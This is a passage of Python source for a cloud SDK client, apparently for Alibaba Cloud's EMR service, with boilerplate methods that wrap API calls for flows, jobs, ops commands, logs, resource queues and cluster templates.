"RegionId": region_id,
"HostList": list_of_host_list,
"ClusterId": cluster_id,
"DefaultQueue": default_queue,
"ProjectId": project_id,
"DefaultUser": default_user}
repeat_info = {"UserList": ('UserList', 'list', 'str', None),
"QueueList": ('QueueList', 'list', 'str', None),
"HostList": ('HostList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_flow_project(self, region_id=None, name=None, description=None, project_id=None):
api_request = APIRequest('ModifyFlowProject', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"Name": name,
"Description": description,
"ProjectId": project_id}
return self._handle_request(api_request).result
def modify_flow_job(
self,
run_conf=None,
env_conf=None,
description=None,
cluster_id=None,
params=None,
param_conf=None,
list_of_resource_list=None,
fail_act=None,
custom_variables=None,
mode=None,
retry_interval=None,
monitor_conf=None,
region_id=None,
name=None,
id_=None,
max_retry=None,
alert_conf=None,
project_id=None):
api_request = APIRequest('ModifyFlowJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RunConf": run_conf,
"EnvConf": env_conf,
"Description": description,
"ClusterId": cluster_id,
"Params": params,
"ParamConf": param_conf,
"ResourceList": list_of_resource_list,
"FailAct": fail_act,
"CustomVariables": custom_variables,
"Mode": mode,
"RetryInterval": retry_interval,
"MonitorConf": monitor_conf,
"RegionId": region_id,
"Name": name,
"Id": id_,
"MaxRetry": max_retry,
"AlertConf": alert_conf,
"ProjectId": project_id}
repeat_info = {
"ResourceList": (
'ResourceList', 'list', 'dict', [
('Path', 'str', None, None), ('Alias', 'str', None, None), ]), }
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_flow_category(
self,
region_id=None,
name=None,
id_=None,
project_id=None,
parent_id=None):
api_request = APIRequest('ModifyFlowCategory', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"Name": name,
"Id": id_,
"ProjectId": project_id,
"ParentId": parent_id}
return self._handle_request(api_request).result
def modify_flow(
self,
cron_expr=None,
parent_flow_list=None,
alert_ding_ding_group_biz_id=None,
periodic=None,
start_schedule=None,
description=None,
cluster_id=None,
alert_user_group_biz_id=None,
host_name=None,
application=None,
region_id=None,
create_cluster=None,
name=None,
end_schedule=None,
id_=None,
alert_conf=None,
project_id=None,
status=None,
parent_category=None):
api_request = APIRequest('ModifyFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"CronExpr": cron_expr,
"ParentFlowList": parent_flow_list,
"AlertDingDingGroupBizId": alert_ding_ding_group_biz_id,
"Periodic": periodic,
"StartSchedule": start_schedule,
"Description": description,
"ClusterId": cluster_id,
"AlertUserGroupBizId": alert_user_group_biz_id,
"HostName": host_name,
"Application": application,
"RegionId": region_id,
"CreateCluster": create_cluster,
"Name": name,
"EndSchedule": end_schedule,
"Id": id_,
"AlertConf": alert_conf,
"ProjectId": project_id,
"Status": status,
"ParentCategory": parent_category}
return self._handle_request(api_request).result
def list_flow_project_user(
self,
region_id=None,
page_size=None,
project_id=None,
page_number=None):
api_request = APIRequest('ListFlowProjectUser', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"PageSize": page_size,
"ProjectId": project_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_flow_project_cluster_setting(
self,
region_id=None,
page_size=None,
project_id=None,
page_number=None):
api_request = APIRequest('ListFlowProjectClusterSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"PageSize": page_size,
"ProjectId": project_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_flow_project(
self,
region_id=None,
name=None,
page_size=None,
project_id=None,
page_number=None):
api_request = APIRequest('ListFlowProject', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"Name": name,
"PageSize": page_size,
"ProjectId": project_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_flow_node_instance_container_status(
self,
region_id=None,
page_size=None,
node_instance_id=None,
project_id=None,
page_number=None):
api_request = APIRequest('ListFlowNodeInstanceContainerStatus',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"PageSize": page_size,
"NodeInstanceId": node_instance_id,
"ProjectId": project_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_flow_job_history(
self,
time_range=None,
list_of_status_list=None,
instance_id=None,
region_id=None,
page_size=None,
id_=None,
project_id=None,
job_type=None,
page_number=None):
api_request = APIRequest('ListFlowJobHistory', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"TimeRange": time_range,
"StatusList": list_of_status_list,
"InstanceId": instance_id,
"RegionId": region_id,
"PageSize": page_size,
"Id": id_,
"ProjectId": project_id,
"JobType": job_type,
"PageNumber": page_number}
repeat_info = {"StatusList": ('StatusList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_flow_instance(
self,
owner=None,
time_range=None,
list_of_status_list=None,
order_by=None,
page_number=None,
instance_id=None,
region_id=None,
page_size=None,
flow_name=None,
id_=None,
flow_id=None,
project_id=None,
order_type=None):
api_request = APIRequest('ListFlowInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Owner": owner,
"TimeRange": time_range,
"StatusList": list_of_status_list,
"OrderBy": order_by,
"PageNumber": page_number,
"InstanceId": instance_id,
"RegionId": region_id,
"PageSize": page_size,
"FlowName": flow_name,
"Id": id_,
"FlowId": flow_id,
"ProjectId": project_id,
"OrderType": order_type}
repeat_info = {"StatusList": ('StatusList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_flow_cluster_host(self, region_id=None, cluster_id=None, project_id=None):
api_request = APIRequest('ListFlowClusterHost', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"ClusterId": cluster_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def list_flow_cluster(self, region_id=None, page_size=None, project_id=None, page_number=None):
api_request = APIRequest('ListFlowCluster', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"PageSize": page_size,
"ProjectId": project_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_flow_category(
self,
region_id=None,
root=None,
page_size=None,
project_id=None,
parent_id=None,
page_number=None):
api_request = APIRequest('ListFlowCategory', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"Root": root,
"PageSize": page_size,
"ProjectId": project_id,
"ParentId": parent_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def kill_flow(self, flow_instance_id=None, region_id=None, project_id=None):
api_request = APIRequest('KillFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FlowInstanceId": flow_instance_id,
"RegionId": region_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow_project_cluster_setting(
self, region_id=None, cluster_id=None, project_id=None):
api_request = APIRequest('DescribeFlowProjectClusterSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"ClusterId": cluster_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow_project(self, region_id=None, project_id=None):
api_request = APIRequest('DescribeFlowProject', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow_node_instance_launcher_log(
self,
offset=None,
region_id=None,
start=None,
length=None,
end_time=None,
start_time=None,
lines=None,
reverse=None,
node_instance_id=None,
project_id=None):
api_request = APIRequest('DescribeFlowNodeInstanceLauncherLog',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"Offset": offset,
"RegionId": region_id,
"Start": start,
"Length": length,
"EndTime": end_time,
"StartTime": start_time,
"Lines": lines,
"Reverse": reverse,
"NodeInstanceId": node_instance_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow_node_instance_container_log(
self,
offset=None,
region_id=None,
log_name=None,
app_id=None,
length=None,
container_id=None,
node_instance_id=None,
project_id=None):
api_request = APIRequest('DescribeFlowNodeInstanceContainerLog',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"Offset": offset,
"RegionId": region_id,
"LogName": log_name,
"AppId": app_id,
"Length": length,
"ContainerId": container_id,
"NodeInstanceId": node_instance_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow_node_instance(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('DescribeFlowNodeInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow_job(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('DescribeFlowJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow_instance(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('DescribeFlowInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow_category_tree(self, region_id=None, type_=None, project_id=None):
api_request = APIRequest('DescribeFlowCategoryTree', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Type": type_, "ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow_category(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('DescribeFlowCategory', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def describe_flow(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('DescribeFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def delete_flow_project_user(self, region_id=None, project_id=None, user_name=None):
api_request = APIRequest('DeleteFlowProjectUser', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"ProjectId": project_id,
"UserName": user_name}
return self._handle_request(api_request).result
def delete_flow_project_cluster_setting(self, region_id=None, cluster_id=None, project_id=None):
api_request = APIRequest('DeleteFlowProjectClusterSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"ClusterId": cluster_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def delete_flow_project(self, region_id=None, project_id=None):
api_request = APIRequest('DeleteFlowProject', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "ProjectId": project_id}
return self._handle_request(api_request).result
def delete_flow_job(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('DeleteFlowJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def delete_flow_category(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('DeleteFlowCategory', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def delete_flow(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('DeleteFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def create_flow_project_user(self, region_id=None, project_id=None, list_of_user=None):
api_request = APIRequest('CreateFlowProjectUser', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "ProjectId": project_id, "User": list_of_user}
repeat_info = {"User": ('User', 'list', 'dict', [('UserId', 'str', None, None),
('UserName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_flow_project_cluster_setting(
self,
list_of_user_list=None,
list_of_queue_list=None,
region_id=None,
list_of_host_list=None,
cluster_id=None,
default_queue=None,
project_id=None,
default_user=None):
api_request = APIRequest('CreateFlowProjectClusterSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"UserList": list_of_user_list,
"QueueList": list_of_queue_list,
"RegionId": region_id,
"HostList": list_of_host_list,
"ClusterId": cluster_id,
"DefaultQueue": default_queue,
"ProjectId": project_id,
"DefaultUser": default_user}
repeat_info = {"UserList": ('UserList', 'list', 'str', None),
"QueueList": ('QueueList', 'list', 'str', None),
"HostList": ('HostList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_flow_project(self, region_id=None, name=None, description=None):
api_request = APIRequest('CreateFlowProject', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Name": name, "Description": description}
return self._handle_request(api_request).result
def create_flow_job(
self,
run_conf=None,
env_conf=None,
description=None,
cluster_id=None,
type_=None,
params=None,
param_conf=None,
list_of_resource_list=None,
fail_act=None,
mode=None,
retry_interval=None,
monitor_conf=None,
region_id=None,
name=None,
max_retry=None,
adhoc=None,
alert_conf=None,
project_id=None,
parent_category=None):
api_request = APIRequest('CreateFlowJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RunConf": run_conf,
"EnvConf": env_conf,
"Description": description,
"ClusterId": cluster_id,
"Type": type_,
"Params": params,
"ParamConf": param_conf,
"ResourceList": list_of_resource_list,
"FailAct": fail_act,
"Mode": mode,
"RetryInterval": retry_interval,
"MonitorConf": monitor_conf,
"RegionId": region_id,
"Name": name,
"MaxRetry": max_retry,
"Adhoc": adhoc,
"AlertConf": alert_conf,
"ProjectId": project_id,
"ParentCategory": parent_category}
repeat_info = {
"ResourceList": (
'ResourceList', 'list', 'dict', [
('Path', 'str', None, None), ('Alias', 'str', None, None), ]), }
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_flow_category(
self,
region_id=None,
name=None,
type_=None,
project_id=None,
parent_id=None):
api_request = APIRequest('CreateFlowCategory', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"Name": name,
"Type": type_,
"ProjectId": project_id,
"ParentId": parent_id}
return self._handle_request(api_request).result
def create_flow(
self,
cron_expr=None,
parent_flow_list=None,
alert_ding_ding_group_biz_id=None,
start_schedule=None,
description=None,
cluster_id=None,
alert_user_group_biz_id=None,
host_name=None,
application=None,
region_id=None,
create_cluster=None,
name=None,
end_schedule=None,
alert_conf=None,
project_id=None,
parent_category=None):
api_request = APIRequest('CreateFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"CronExpr": cron_expr,
"ParentFlowList": parent_flow_list,
"AlertDingDingGroupBizId": alert_ding_ding_group_biz_id,
"StartSchedule": start_schedule,
"Description": description,
"ClusterId": cluster_id,
"AlertUserGroupBizId": alert_user_group_biz_id,
"HostName": host_name,
"Application": application,
"RegionId": region_id,
"CreateCluster": create_cluster,
"Name": name,
"EndSchedule": end_schedule,
"AlertConf": alert_conf,
"ProjectId": project_id,
"ParentCategory": parent_category}
return self._handle_request(api_request).result
def run_ops_command(
self,
resource_owner_id=None,
region_id=None,
ops_command_name=None,
comment=None,
custom_params=None,
cluster_id=None,
list_of_host_id_list=None,
dimension=None):
api_request = APIRequest('RunOpsCommand', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"OpsCommandName": ops_command_name,
"Comment": comment,
"CustomParams": custom_params,
"ClusterId": cluster_id,
"HostIdList": list_of_host_id_list,
"Dimension": dimension}
repeat_info = {"HostIdList": ('HostIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_ops_operation_task(
self,
resource_owner_id=None,
region_id=None,
operation_id=None,
page_number=None):
api_request = APIRequest('ListOpsOperationTask', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"OperationId": operation_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_ops_operation(
self,
resource_owner_id=None,
region_id=None,
cluster_id=None,
page_number=None):
api_request = APIRequest('ListOpsOperation', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def get_supported_ops_command(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('GetSupportedOpsCommand', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def get_ops_command_result_once(
self,
resource_owner_id=None,
region_id=None,
cluster_id=None,
task_id=None):
api_request = APIRequest('GetOpsCommandResultOnce', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"TaskId": task_id}
return self._handle_request(api_request).result
def get_ops_command_result(
self,
resource_owner_id=None,
region_id=None,
end_cursor=None,
start_cursor=None,
cluster_id=None,
task_id=None):
api_request = APIRequest('GetOpsCommandResult', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"EndCursor": end_cursor,
"StartCursor": start_cursor,
"ClusterId": cluster_id,
"TaskId": task_id}
return self._handle_request(api_request).result
def get_ops_command_detail(self, resource_owner_id=None, region_id=None, ops_command_name=None):
api_request = APIRequest('GetOpsCommandDetail', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"OpsCommandName": ops_command_name}
return self._handle_request(api_request).result
def search_log(
self,
resource_owner_id=None,
logstore_name=None,
from_timestamp=None,
offset=None,
line=None,
cluster_id=None,
reverse=None,
host_inner_ip=None,
host_name=None,
region_id=None,
to_timestamp=None,
sls_query_string=None):
api_request = APIRequest('SearchLog', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"LogstoreName": logstore_name,
"FromTimestamp": from_timestamp,
"Offset": offset,
"Line": line,
"ClusterId": cluster_id,
"Reverse": reverse,
"HostInnerIp": host_inner_ip,
"HostName": host_name,
"RegionId": region_id,
"ToTimestamp": to_timestamp,
"SlsQueryString": sls_query_string}
return self._handle_request(api_request).result
def list_sls_logstore_info(
self,
resource_owner_id=None,
region_id=None,
component_name=None,
service_name=None,
cluster_id=None):
api_request = APIRequest('ListSlsLogstoreInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ComponentName": component_name,
"ServiceName": service_name,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def list_service_log(
self,
resource_owner_id=None,
host_name=None,
max_keys=None,
logstore_name=None,
region_id=None,
marker=None,
cluster_id=None):
api_request = APIRequest('ListServiceLog', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"HostName": host_name,
"MaxKeys": max_keys,
"LogstoreName": logstore_name,
"RegionId": region_id,
"Marker": marker,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def get_log_download_url(
self,
resource_owner_id=None,
host_name=None,
logstore_name=None,
region_id=None,
cluster_id=None,
log_file_name=None):
api_request = APIRequest('GetLogDownloadUrl', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"HostName": host_name,
"LogstoreName": logstore_name,
"RegionId": region_id,
"ClusterId": cluster_id,
"LogFileName": log_file_name}
return self._handle_request(api_request).result
def suspend_execution_plan_instance(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('SuspendExecutionPlanInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def retry_execution_plan_instance(
self,
resource_owner_id=None,
region_id=None,
arguments=None,
id_=None,
rerun_fail=None):
api_request = APIRequest('RetryExecutionPlanInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Arguments": arguments,
"Id": id_,
"RerunFail": rerun_fail}
return self._handle_request(api_request).result
def resume_execution_plan_instance(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('ResumeExecutionPlanInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def refresh_cluster_resource_pool(
self,
resource_owner_id=None,
region_id=None,
resource_pool_id=None,
cluster_id=None):
api_request = APIRequest('RefreshClusterResourcePool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ResourcePoolId": resource_pool_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def modify_resource_queue(
self,
resource_owner_id=None,
parent_queue_id=None,
region_id=None,
name=None,
qualified_name=None,
resource_pool_id=None,
id_=None,
cluster_id=None,
leaf=None,
list_of_config=None):
api_request = APIRequest('ModifyResourceQueue', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ParentQueueId": parent_queue_id,
"RegionId": region_id,
"Name": name,
"QualifiedName": qualified_name,
"ResourcePoolId": resource_pool_id,
"Id": id_,
"ClusterId": cluster_id,
"Leaf": leaf,
"Config": list_of_config}
repeat_info = {"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('Note', 'str', None, None),
('ConfigValue', 'str', None, None),
('Id', 'str', None, None),
('Category', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_resource_pool(
self,
resource_owner_id=None,
region_id=None,
name=None,
active=None,
id_=None,
cluster_id=None,
yarnsiteconfig=None,
list_of_config=None):
api_request = APIRequest('ModifyResourcePool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Active": active,
"Id": id_,
"ClusterId": cluster_id,
"Yarnsiteconfig": yarnsiteconfig,
"Config": list_of_config}
repeat_info = {"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('Note', 'str', None, None),
('ConfigValue', 'str', None, None),
('Id', 'str', None, None),
('Category', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_job_execution_plan_param(
self,
resource_owner_id=None,
param_name=None,
param_value=None,
id_=None):
api_request = APIRequest('ModifyJobExecutionPlanParam', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ParamName": param_name,
"ParamValue": param_value,
"Id": id_}
return self._handle_request(api_request).result
def modify_job_execution_plan_folder(
self,
resource_owner_id=None,
name=None,
id_=None,
parent_id=None):
api_request = APIRequest('ModifyJobExecutionPlanFolder', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"Name": name,
"Id": id_,
"ParentId": parent_id}
return self._handle_request(api_request).result
def modify_cluster_template(
self,
resource_owner_id=None,
log_path=None,
master_pwd=None,
configurations=None,
io_optimized=None,
security_group_id=None,
ssh_enable=None,
eas_enable=None,
key_pair_name=None,
meta_store_type=None,
security_group_name=None,
deposit_type=None,
machine_type=None,
list_of_bootstrap_action=None,
region_id=None,
use_local_meta_db=None,
meta_store_conf=None,
emr_ver=None,
template_name=None,
user_defined_emr_ecs_role=None,
is_open_public_ip=None,
period=None,
instance_generation=None,
vswitch_id=None,
cluster_type=None,
auto_renew=None,
list_of_option_soft_ware_list=None,
vpc_id=None,
net_type=None,
biz_id=None,
list_of_host_group=None,
zone_id=None,
charge_type=None,
use_custom_hive_meta_db=None,
list_of_config=None,
high_availability_enable=None,
init_custom_hive_meta_db=None):
api_request = APIRequest('ModifyClusterTemplate', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"LogPath": log_path,
"MasterPwd": master_pwd,
"Configurations": configurations,
"IoOptimized": io_optimized,
"SecurityGroupId": security_group_id,
"SshEnable": ssh_enable,
"EasEnable": eas_enable,
"KeyPairName": key_pair_name,
"MetaStoreType": meta_store_type,
"SecurityGroupName": security_group_name,
"DepositType": deposit_type,
"MachineType": machine_type,
"BootstrapAction": list_of_bootstrap_action,
"RegionId": region_id,
"UseLocalMetaDb": use_local_meta_db,
"MetaStoreConf": meta_store_conf,
"EmrVer": emr_ver,
"TemplateName": template_name,
"UserDefinedEmrEcsRole": user_defined_emr_ecs_role,
"IsOpenPublicIp": is_open_public_ip,
"Period": period,
"InstanceGeneration": instance_generation,
"VSwitchId": vswitch_id,
"ClusterType": cluster_type,
"AutoRenew": auto_renew,
"OptionSoftWareList": list_of_option_soft_ware_list,
"VpcId": vpc_id,
"NetType": net_type,
"BizId": biz_id,
"HostGroup": list_of_host_group,
"ZoneId": zone_id,
"ChargeType": charge_type,
"UseCustomHiveMetaDb": use_custom_hive_meta_db,
"Config": list_of_config,
"HighAvailabilityEnable": high_availability_enable,
"InitCustomHiveMetaDb": init_custom_hive_meta_db}
repeat_info = {"BootstrapAction": ('BootstrapAction', 'list', 'dict', [('Path', 'str', None, None),
('Arg', 'str', None, None),
('Name', 'str', None, None),
]),
"OptionSoftWareList": ('OptionSoftWareList', 'list', 'str', None),
"HostGroup": ('HostGroup', 'list', 'dict', [('Period', 'str', None, None),
('SysDiskCapacity', 'str', None, None),
('DiskCapacity', 'str', None, None),
('SysDiskType', 'str', None, None),
('ClusterId', 'str', None, None),
('DiskType', 'str', None, None),
('HostGroupName', 'str', None, None),
('VSwitchId', 'str', None, None),
('DiskCount', 'str', None, None),
('AutoRenew', 'str', None, None),
('HostGroupId', 'str', None, None),
('NodeCount', 'str', None, None),
('InstanceType', 'str', None, None),
('Comment', 'str', None, None),
('ChargeType', 'str', None, None),
('MultiInstanceTypes', 'str', None, None),
('CreateType', 'str', None, None),
('HostGroupType', 'str', None, None),
]),
"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('FileName', 'str', None, None),
('Encrypt', 'str', None, None),
('Replace', 'str', None, None),
('ConfigValue', 'str', None, None),
('ServiceName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_job_execution_plan_params(
self,
resource_owner_id=None,
relate_id=None,
param_biz_type=None):
api_request = APIRequest('ListJobExecutionPlanParams', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RelateId": relate_id,
"ParamBizType": param_biz_type}
return self._handle_request(api_request).result
def list_job_execution_plan_hierarchy(
self,
resource_owner_id=None,
current_id=None,
page_size=None,
page_number=None):
api_request = APIRequest('ListJobExecutionPlanHierarchy', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"CurrentId": current_id,
"PageSize": page_size,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_cluster_templates(
self,
resource_owner_id=None,
region_id=None,
biz_id=None,
page_size=None,
page_number=None):
api_request = APIRequest('ListClusterTemplates', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BizId": biz_id,
"PageSize": page_size,
"PageNumber": page_number}
return self._handle_request(api_request).result
def describe_cluster_template(self, resource_owner_id=None, biz_id=None):
api_request = APIRequest('DescribeClusterTemplate', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "BizId": biz_id}
return self._handle_request(api_request).result
def delete_resource_queue(
self,
resource_owner_id=None,
resource_queue_id=None,
region_id=None,
cluster_id=None):
api_request = APIRequest('DeleteResourceQueue', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceQueueId": resource_queue_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def delete_cluster_template(self, resource_owner_id=None, region_id=None, biz_id=None):
api_request = APIRequest('DeleteClusterTemplate', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BizId": biz_id}
return self._handle_request(api_request).result
def create_resource_queue(
self,
resource_owner_id=None,
parent_queue_id=None,
region_id=None,
name=None,
qualified_name=None,
resource_pool_id=None,
cluster_id=None,
leaf=None,
list_of_config=None):
api_request = APIRequest('CreateResourceQueue', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ParentQueueId": parent_queue_id,
"RegionId": region_id,
"Name": name,
"QualifiedName": qualified_name,
"ResourcePoolId": resource_pool_id,
"ClusterId": cluster_id,
"Leaf": leaf,
"Config": list_of_config}
repeat_info = {"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('Note', 'str', None, None),
('ConfigValue', 'str', None, None),
('Category', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_cluster_template(
self,
resource_owner_id=None,
log_path=None,
master_pwd=None,
configurations=None,
io_optimized=None,
security_group_id=None,
ssh_enable=None,
eas_enable=None,
key_pair_name=None,
meta_store_type=None,
security_group_name=None,
deposit_type=None,
machine_type=None,
list_of_bootstrap_action=None,
region_id=None,
use_local_meta_db=None,
meta_store_conf=None,
emr_ver=None,
template_name=None,
user_defined_emr_ecs_role=None,
is_open_public_ip=None,
period=None,
instance_generation=None,
vswitch_id=None,
cluster_type=None,
auto_renew=None,
list_of_option_soft_ware_list=None,
vpc_id=None,
net_type=None,
list_of_host_group=None,
zone_id=None,
use_custom_hive_meta_db=None,
list_of_config=None,
high_availability_enable=None,
init_custom_hive_meta_db=None):
api_request = APIRequest('CreateClusterTemplate', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"LogPath": log_path,
"MasterPwd": master_pwd,
"Configurations": configurations,
"IoOptimized": io_optimized,
"SecurityGroupId": security_group_id,
"SshEnable": ssh_enable,
"EasEnable": eas_enable,
"KeyPairName": key_pair_name,
